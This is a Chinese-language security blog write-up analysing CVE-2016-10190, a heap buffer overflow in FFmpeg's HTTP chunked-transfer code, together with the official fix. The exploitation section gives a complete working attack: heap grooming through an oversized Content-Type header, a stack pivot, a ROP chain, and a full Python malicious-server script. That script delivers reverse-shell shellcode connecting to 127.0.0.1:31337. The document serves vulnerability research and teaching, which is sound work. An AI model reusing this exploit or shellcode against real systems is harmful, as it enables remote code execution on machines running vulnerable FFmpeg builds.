CVE-2016-10190 FFmpeg Http協議 heap buffer overflow漏洞分析及利用

作者:棧長@螞蟻金服巴斯光年安全實驗室

————————

1. 背景

FFmpeg是一個著名的處理音視頻的開源項目,非常多的播放器、轉碼器以及視頻網站都用到了FFmpeg作爲內核或者是處理流媒體的工具。2016年末paulcher發現FFmpeg三個堆溢出漏洞分別爲CVE-2016-10190、CVE-2016-10191以及CVE-2016-10192。本文對CVE-2016-10190進行了詳細的分析,是一個學習如何利用堆溢出達到任意代碼執行的一個非常不錯的案例。


2. 漏洞分析

FFmpeg的 Http 協議的實現中支持幾種不同的數據傳輸方式,通過 Http Response Header 來控制。其中一種傳輸方式是transfer-encoding: chunked,表示數據將被劃分爲一個個小的 chunk 進行傳輸,這些 chunk 都是被放在 Http body 當中,每一個 chunk 的結構分爲兩個部分,第一個部分是該 chunk 的 data 部分的長度,十六進制,以換行符結束,第二個部分就是該 chunk 的 data,末尾還要額外加上一個換行符。下面是一個 Http 響應的示例。關於transfer-encoding: chunked更加詳細的內容可以參考這篇文章


HTTP/1.1 200 OK

Server: nginx

Date: Sun, 03 May 2015 17:25:23 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Content-Encoding: gzip

 

1f

HW(/IJ

 

0



漏洞就出現在libavformat/http.c這個文件中,在http_read_stream函數中,如果是以 chunk 的方式傳輸,程序會讀取每個 chunk 的第一行,也就是 chunk 的長度那一行,然後調用s->chunksize = strtoll(line, NULL, 16);來計算 chunk size。chunksize的類型是int64_t,在下面調用了FFMIN和 buffer 的 size 進行了長度比較,但是 buffer 的 size 也是有符號數,這就導致瞭如果我們讓chunksize等於-1, 那麼最終傳遞給httpbufread函數的 size 參數也是-1。相關代碼如下:


s->chunksize = strtoll(line, NULL, 16);


av_log(NULL, AV_LOG_TRACE, "Chunked encoding data size: %"PRId64"'\n",

s->chunksize);

 

if (!s->chunksize)

return 0;

        }

        size = FFMIN(size, s->chunksize);//兩個有符號數相比較

    }

//...

read_ret = http_buf_read(h, buf, size);//可以傳遞一個負數過去


而在httpbufread函數中會調用ffurl_read函數,進一步把 size 傳遞過去。然後經過一個比較長的調用鏈,最終會傳遞到tcp_read函數中,函數裏調用了recv函數來從 socket 讀取數據,而recv的第三個參數是size_t類型,也就是無符號數,我們把size爲-1傳遞給它的時候會發生有符號數到無符號數的隱式類型轉換,就變成了一個非常大的值0xffffffff,從而導致緩衝區溢出。


static int http_buf_read(URLContext *h, uint8_t *buf, int size)

{

    HTTPContext *s = h->priv_data;

    intlen;

    /* read bytes from input buffer first */

    len = s->buf_end - s->buf_ptr;

    if (len> 0) {

        if (len> size)

            len = size;

        memcpy(buf, s->buf_ptr, len);

        s->buf_ptr += len;

    } else {

        //...

       len = ffurl_read(s->hd, buf, size);//這裏的 size 是從上面傳遞下來的

static int tcp_read(URLContext *h, uint8_t *buf, int size)

{

    TCPContext *s = h->priv_data;

    int ret;

 

    if (!(h->flags & AVIO_FLAG_NONBLOCK)) {

        //...

    }

    ret = recv(s->fd, buf, size, 0);    //最後在這裏溢出 


可以看到,由有符號到無符號數的類型轉換可以說是漏洞頻發的重災區,寫代碼的時候稍有不慎就可能犯下這種錯誤,而且一些隱式的類型轉換編譯器並不會報 warning。如果需要檢測這樣的類型轉換,可以在編譯的時候添加-Wconversion -Wsign-conversion這個選項。


官方修復方案

官方的修復方法也比較簡單明瞭,把HTTPContext這個結構體中所有和 size,offset 有關的字段全部改爲unsigned類型,把strtoll函數改爲strtoull函數,還有一些細節上的調整等等。這麼做不僅補上了這次的漏洞,也防止了類似的漏洞不會再其他的地方再發生。放上官方補丁的鏈接


3. 利用環境搭建

漏洞利用的靶機環境


操作系統:Ubuntu 16.04 x64

FFmpeg版本:3.2.1 (參照https://trac.ffmpeg.org/wiki/CompilationGuide/Ubuntu編譯,需要把官方教程中提及的所有 encoder編譯進去,最好是靜態編譯。)


4. 利用過程

這次的漏洞需要我們搭建一個惡意的 Http Server,然後讓我們的客戶端連上 Server,Server 把惡意的 payload 傳輸給 client,在 client 上執行任意代碼,然後反彈一個 shell 到 Server 端。

首先我們需要控制返回的 Http header 中包含transfer-encoding: chunked字段。


headers = """HTTP/1.1 200 OK

Server: HTTPd/0.9

Date: Sun, 10 Apr 2005 20:26:47 GMT

Transfer-Encoding: chunked

 

"""

然後我們控制 chunk 的 size 爲-1, 再把我們的 payload 發送過去


    client_socket.send('-1\n')

    #raw_input("sleep for a while to avoid HTTPContext buffer problem!")

    sleep(3)    #這裏 sleep 很關鍵,後面會解釋

    client_socket.send(payload)


下面我們開始考慮 payload 該如何構造,首先我們使用gdb觀察程序在 buffer overflow 的時候的堆佈局是怎樣的,在我的機器上很不幸的是可以看到被溢出的 chunk 正好緊跟在 top chunk的後面,這就給我們的利用帶來了困難。接下來我先後考慮了三種思路:


思路一:覆蓋top chunk的size字段

這是一種常見的glibc heap 利用技巧,是通過把 top chunk 的size 字段改寫來實現任意地址寫,但是這種方法需要我們能很好的控制malloc的 size 參數。在FFmpeg源代碼中尋找了一番並沒有找到這樣的代碼,只能放棄。


思路二:通過unlink來任意地址寫

這種方法的條件也比較苛刻,首先需要繞過 unlink 的 check,但是由於我們沒有辦法 leak 出堆地址,所以也是行不通的。


思路三:通過某種方式影響堆佈局,使得溢出chunk後面有關鍵結構體

如果溢出 chunk 之後有關鍵結構體,結構體裏面有函數指針,那麼事情就簡單多了,我們只需要覆蓋函數指針就可以控制 RIP 了。縱觀溢出時的整個函數調用棧,

avio_read->fill_buffer->io_read_packet->…->http_buf_read,avio_read函數和fill_buffer函數裏面都調用了AVIOContext::read_packet這個函數。我們必須設法覆蓋AVIOContext這個結構體裏面的read_packet函數指針,但是目前這個結構體是在溢出 chunk 的前面的,需要把它挪到後面去。那麼就需要搞清楚這兩個 chunk 被malloc的先後順序,以及mallocAVIOContext的時候的堆佈局是怎麼樣的。


int ffio_fdopen(AVIOContext **s, URLContext *h)

{

    //...

    buffer = av_malloc(buffer_size);//先分配io buffer, 再分配AVIOContext

if (!buffer)

    return AVERROR(ENOMEM);

 

    internal = av_mallocz(sizeof(*internal));

    if (!internal)

        goto fail;

 

    internal->h = h;

 

    *s = avio_alloc_context(buffer, buffer_size, h->flags & AVIO_FLAG_WRITE,

internal, io_read_packet, io_write_packet, io_seek);


在ffio_fdopen函數中可以清楚的看到是先分配了用於io的 buffer(也就是溢出的 chunk),再分配AVIOContext的。程序在mallocAVIOContext的時候堆上有一個 large free chunk,正好是在溢出 chunk 的前面。那麼只要想辦法在之前把這個 free chunk 給填上就能讓AVIOContext跑到溢出 chunk 的後面去了。由於http_open是在AVIOContext被分配之前調用的,(關於整個調用順序可以參考雷霄華的博客整理的一個FFmpeg的總的流程圖)所以我們可在http_read_header函數裏面尋找那些能夠影響堆佈局的代碼,其中 Content-Type 字段就會爲字段值malloc一段內存來保存。所以我們可以任意填充Content-Type的值爲那個 free chunk 的大小,就能預先把 free chunk 給使用掉了。修改後的Http header如下:


headers = """HTTP/1.1 200 OK

Server: HTTPd/0.9

Date: Sun, 10 Apr 2005 20:26:47 GMT

Content-Type: %s

Transfer-Encoding: chunked

Set-Cookie: XXXXXXXXXXXXXXXX=AAAAAAAAAAAAAAAA;

 

""" % ('h' * 3120)


其中Set-Cookie字段可有可無,只是會影響溢出 chunk 和AVIOContext的距離,不會影響他們的前後關係。


這之後就是覆蓋AVIOContext的各個字段,以及考慮怎麼讓程序走到自己想要的分支了。經過分析我們讓程序再一次調用fill_buffer,然後走到s->read_packet那一行是最穩妥的。調試發現走到那一行的時候我們可以控制的有RIP, RDI, RSI, RDX, RCX等寄存器,接下來就是考慮怎麼 ROP 了。


static void fill_buffer(AVIOContext *s)

{

    intmax_buffer_size = s->max_packet_size ?  //可控

s->max_packet_size : 

IO_BUFFER_SIZE;

    uint8_t *dst        = s->buf_end - s->buffer + max_buffer_size< s->buffer_size ?

                          s->buf_end : s->buffer;   //控制這個, 如果等於s->buffer的話,問題是 heap 地址不知道

    intlen             = s->buffer_size - (dst - s->buffer);   //可控

 

    /* can't fill the buffer without read_packet, just set EOF if appropriate */

    if (!s->read_packet&& s->buf_ptr>= s->buf_end)

        s->eof_reached = 1;

 

    /* no need to do anything if EOF already reached */

    if (s->eof_reached)

        return;

 

    if (s->update_checksum&&dst == s->buffer) {

        //...

    }

 

    /* make buffer smaller in case it ended up large after probing */

    if (s->read_packet&& s->orig_buffer_size&& s->buffer_size> s->orig_buffer_size) {

        //...

    }

 

    if (s->read_packet)

        len = s->read_packet(s->opaque, dst, len);


首先要把棧遷移到堆上,由於堆地址是隨機的,我們不知道。所以只能利用當時寄存器或者內存中存在的堆指針,並且堆指針要指向我們可控的區域。在寄存器中沒有找到合適的值,但是打印當前stack, 可以看到棧上正好有我們需要的堆指針,指向AVIOContext結構體的開頭。接下來只要想辦法找到pop rsp; ret之類的rop就可以了。 


pwndbg> stack

00:0000│rsp  0x7fffffffd8c0 —? 0x7fffffffd900 —? 0x7fffffffd930 —? 0x7fffffffd9d0 ?— ...

01:0008│      0x7fffffffd8c8 —? 0x2b4ae00 —? 0x63e2c8 (ff_yadif_filter_line_10bit_ssse3+1928) ?— add    rsp, 0x58

02:0010│      0x7fffffffd8d0 —? 0x7fffffffe200 ?— 0x6

03:0018│      0x7fffffffd8d8 ?— 0x83d1d51e00000000

04:0020│      0x7fffffffd8e0 ?— 0x8000

05:0028│      0x7fffffffd8e8 —? 0x2b4b168 ?— 0x6868686868686868 ('hhhhhhhh')

06:0030│rbp  0x7fffffffd8f0 —? 0x7fffffffd930 —? 0x7fffffffd9d0 —? 0x7fffffffda40 ?— ...

07:0038│      0x7fffffffd8f8 —? 0x6cfb2c (avio_read+336) ?— movrax, qword ptr [rbp - 0x18]


把棧遷移之後,先利用add rsp, 0x58; ret這種蹦牀把棧拔高,然後執行我們真正的 ROP 指令。由於plt表中有mprotect, 所以可以先將0x400000地址處的 page 權限改爲rwx,再把shellcode寫到那邊去,然後跳轉過去就行了。最終的堆佈局如下:




放上最後利用成功的截圖

啓動惡意的 Server





客戶端連接上 Server





成功反彈 shell




最後附上完整的利用腳本,根據漏洞作者的exp修改而來


#!/usr/bin/python

#coding=utf-8

 

import re

importos

import sys

import socket

import threading

from time import sleep

 

frompwn import *

 

 

bind_ip = '0.0.0.0'

bind_port = 12345

 

 

headers = """HTTP/1.1 200 OK

Server: HTTPd/0.9

Date: Sun, 10 Apr 2005 20:26:47 GMT

Content-Type: %s

Transfer-Encoding: chunked

Set-Cookie: XXXXXXXXXXXXXXXX=AAAAAAAAAAAAAAAA;

 

""" % ('h' * 3120)

 

"""

"""

 

elf = ELF('/home/dddong/bin/ffmpeg_g')

shellcode_location = 0x00400000

page_size = 0x1000

rwx_mode = 7

 

gadget = lambda x: next(elf.search(asm(x, os='linux', arch='amd64')))

pop_rdi = gadget('pop rdi; ret')

pop_rsi = gadget('pop rsi; ret')

pop_rax = gadget('pop rax; ret')

pop_rcx = gadget('pop rcx; ret')

pop_rdx = gadget('pop rdx; ret')

pop_rbp = gadget('pop rbp; ret')

 

leave_ret = gadget('leave; ret')

pop_pop_rbp_jmp_rcx = gadget('pop rbx ; pop rbp ; jmprcx')

push_rbx = gadget('push rbx; jmprdi')

push_rsi = gadget('push rsi; jmprdi')

push_rdx_call_rdi = gadget('push rdx; call rdi')

pop_rsp = gadget('pop rsp; ret')

add_rsp = gadget('add rsp, 0x58; ret')

 

mov_gadget = gadget('mov qword ptr [rdi], rax ; ret')

 

mprotect_func = elf.plt['mprotect']

#read_func = elf.plt['read']

 

 

 

def handle_request(client_socket):

    # 0x009e5641: mov qword [rcx], rax ; ret  ;  (1 found)

 

    # 0x010ccd95: push rbx ;jmprdi ;  (1 found)

    # 0x00d89257: pop rsp ; ret  ;  (1 found)

    # 0x0058dc48: add rsp, 0x58 ; ret  ;  (1 found)

    request = client_socket.recv(2048)

 

    payload = ''

    payload += 'C' * (0x8040)

    payload += 'CCCCCCCC' * 4

 

    ##################################################

    #rop starts here

    payload += p64(add_rsp) # 0x0: 從這裏開始覆蓋AVIOContext

    #payload += p64(0) + p64(1) + 'CCCCCCCC' * 2 #0x8:

    payload += 'CCCCCCCC' * 4 #0x8: buf_ptr和buf_end後面會被覆蓋爲正確的值

 

    payload += p64(pop_rsp) # 0x28: 這裏是opaque指針,可以控制rdi和rcx, s->read_packet(opaque,dst,len)

    payload += p64(pop_pop_rbp_jmp_rcx) # 0x30: 這裏是read_packet指針,call *%rax

    payload += 'BBBBBBBB' * 3 #0x38

    payload += 'AAAA' #0x50 must_flush

    payload += p32(0) #eof_reached

    payload += p32(1) + p32(0) #0x58 write_flag=1 and max_packet_size=0

    payload += p64(add_rsp) # 0x60: second add_esp_0x58 rop to jump to uncorrupted chunk

    payload += 'CCCCCCCC' #0x68: checksum_ptr控制rdi

    #payload += p64(push_rdx_call_rdi) #0x70

    payload += p64(1) #0x70: update_checksum

    payload += 'XXXXXXXX' * 9 #0x78: orig_buffer_size

 

    # realrop payload starts here

    #

    # usingmprotect to create executable area

    payload += p64(pop_rdi)

    payload += p64(shellcode_location)

    payload += p64(pop_rsi)

    payload += p64(page_size)

    payload += p64(pop_rdx)

    payload += p64(rwx_mode)

    payload += p64(mprotect_func)

 

    # backconnectshellcode x86_64: 127.0.0.1:31337

    shellcode = "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\xc7\x44\x24\x04\x7f\x00\x00\x01\x48\x89\xe6\x6a\x10\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05";

    shellcode = '\x90' * (8 - (len(shellcode) % 8)) + shellcode

    shellslices = map(''.join, zip(*[iter(shellcode)]*8))

 

    write_location = shellcode_location

    forshellslice in shellslices:

        payload += p64(pop_rax)

        payload += shellslice

        payload += p64(pop_rdi)

        payload += p64(write_location)

        payload += p64(mov_gadget)

 

        write_location += 8

 

    payload += p64(pop_rbp)

    payload += p64(4)

    payload += p64(shellcode_location)

 

 

    client_socket.send(headers)

    client_socket.send('-1\n')

    #raw_input("sleep for a while to avoid HTTPContext buffer problem!")

    sleep(3)

    client_socket.send(payload)

    print "send payload done."

    client_socket.close()

 

 

if __name__ == '__main__':

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

 

    s.bind((bind_ip, bind_port))

    s.listen(5)

 

    filename = os.path.basename(__file__)

    st = os.stat(filename)

 

    print 'start listening at %s:%s' % (bind_ip, bind_port)

    while True:

        client_socket, addr = s.accept()

        print 'accept client connect from %s:%s' % addr

        handle_request(client_socket)

        if os.stat(filename) != st:

            print 'restarted'

            sys.exit(0)

 

 

5. 反思與總結

這次的漏洞利用過程讓我對FFmpeg的源代碼有了更爲深刻的理解。也學會了如何通過影響堆佈局來簡化漏洞利用的過程,如何棧遷移以及編寫 ROP。 


在pwn的過程中,閱讀源碼來搞清楚malloc的順序,使用gdb插件(如libheap)來顯示堆佈局是非常重要的,只有這樣才能對症下藥,想明白如何才能調整堆的佈局。如果能夠有插件顯示每一個malloc chunk 的函數調用棧就更好了,之後可以嘗試一下 GEF 這個插件。


6. 參考資料

1  https://trac.ffmpeg.org/ticket/5992

2  http://www.openwall.com/lists/oss-security/2017/01/31/12

3  https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10190

4  官方修復鏈接:https://github.com/FFmpeg/FFmpeg/commit/2a05c8f813de6f2278827734bf8102291e7484aa

5  https://security.tencent.com/index.php/blog/msg/116

6  Transfer-encoding介紹:https://imququ.com/post/transfer-encoding-header-in-http.html

7  漏洞原作者的 exp:https://gist.github.com/PaulCher/324690b88db8c4cf844e056289d4a1d6

8  FFmpeg源代碼結構圖:http://blog.csdn.net/leixiaohua1020/article/details/44220151

https://docs.pwntools.com/en/stable/index.html


-------------------------------

更多安全類熱點信息和知識分享,請關注阿里聚安全的官方博客

發佈了145 篇原創文章 · 獲贊 27 · 訪問量 26萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章